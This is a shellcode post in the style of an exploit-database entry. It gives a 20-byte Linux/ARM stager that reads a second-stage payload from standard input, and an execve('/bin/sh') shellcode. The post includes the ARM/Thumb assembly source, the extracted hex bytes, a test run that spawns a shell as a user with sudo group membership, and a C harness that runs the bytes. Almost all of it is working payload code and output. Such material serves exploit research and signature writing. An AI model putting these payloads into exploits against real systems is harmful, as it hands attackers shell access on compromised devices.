Linux/ARM - read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) Shellcode 20 Bytes

/*
# Title:  Linux/ARM - read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) Shellcode (20 Bytes)
# Tested: armv7l (Raspberry Pi 3 Model B+)
# Author: Ken Kitahara
 
[System Information]
pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description:    Raspbian GNU/Linux 9.4 (stretch)
Release:    9.4
Codename:   stretch
pi@raspberrypi:~ $
 
[Procedure]
(1) Create main shellcode in THUMB state. This PoC's example is execve("/bin/sh", NULL, NULL) shellcode (20 Bytes).
 
pi@raspberrypi:~ $ cat binsh.s
.section .text
.global _start
 
_start:
    .THUMB
    // execve("/bin/sh", NULL, NULL)
    adr  r0, spawn
    eor  r1, r1, r1
    eor  r2, r2, r2
    strb r2, [r0, #7]
    mov  r7, #0xb
    svc  #1
 
spawn:
.ascii "/bin/shX"
pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin
pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' binsh.bin && echo
\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58
pi@raspberrypi:~ $
 
 
(2) Create stager shellcode (20 Bytes).
 
pi@raspberrypi:~ $ cat stager.s
.section .text
.global _start
 
_start:
    .ARM
    add  lr, pc, #1
    bx   lr
 
    .THUMB
    // read(0, buf, 0xff)
    eor  r0, r0, r0
    adr  r1, loadpoint
    mov  r2, #0xff
    mov  r7, #3
    svc  #1
    mov  pc, r1
loadpoint:
pi@raspberrypi:~ $ as -o stager.o stager.s && ld -N -o stager stager.o
pi@raspberrypi:~ $ objcopy -O binary stager stager.bin
pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' stager.bin && echo
\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1\x40\x40\x02\xa1\xff\x22\x03\x27\x01\xdf\x8f\x46
pi@raspberrypi:~ $
 
(3) Operation test.
 
pi@raspberrypi:~ $ (echo -ne "\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58"; cat) | ./stager
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
exit
^C
pi@raspberrypi:~ $
 
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char sc[] = \
"\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1"
"\x40\x40\x02\xa1\xff\x22\x03\x27"
"\x01\xdf\x8f\x46";
 
void main()
{
    printf("Shellcode Length: %d\n", strlen(sc));
 
    int (*ret)() = (int(*)())sc;
 
    ret();
}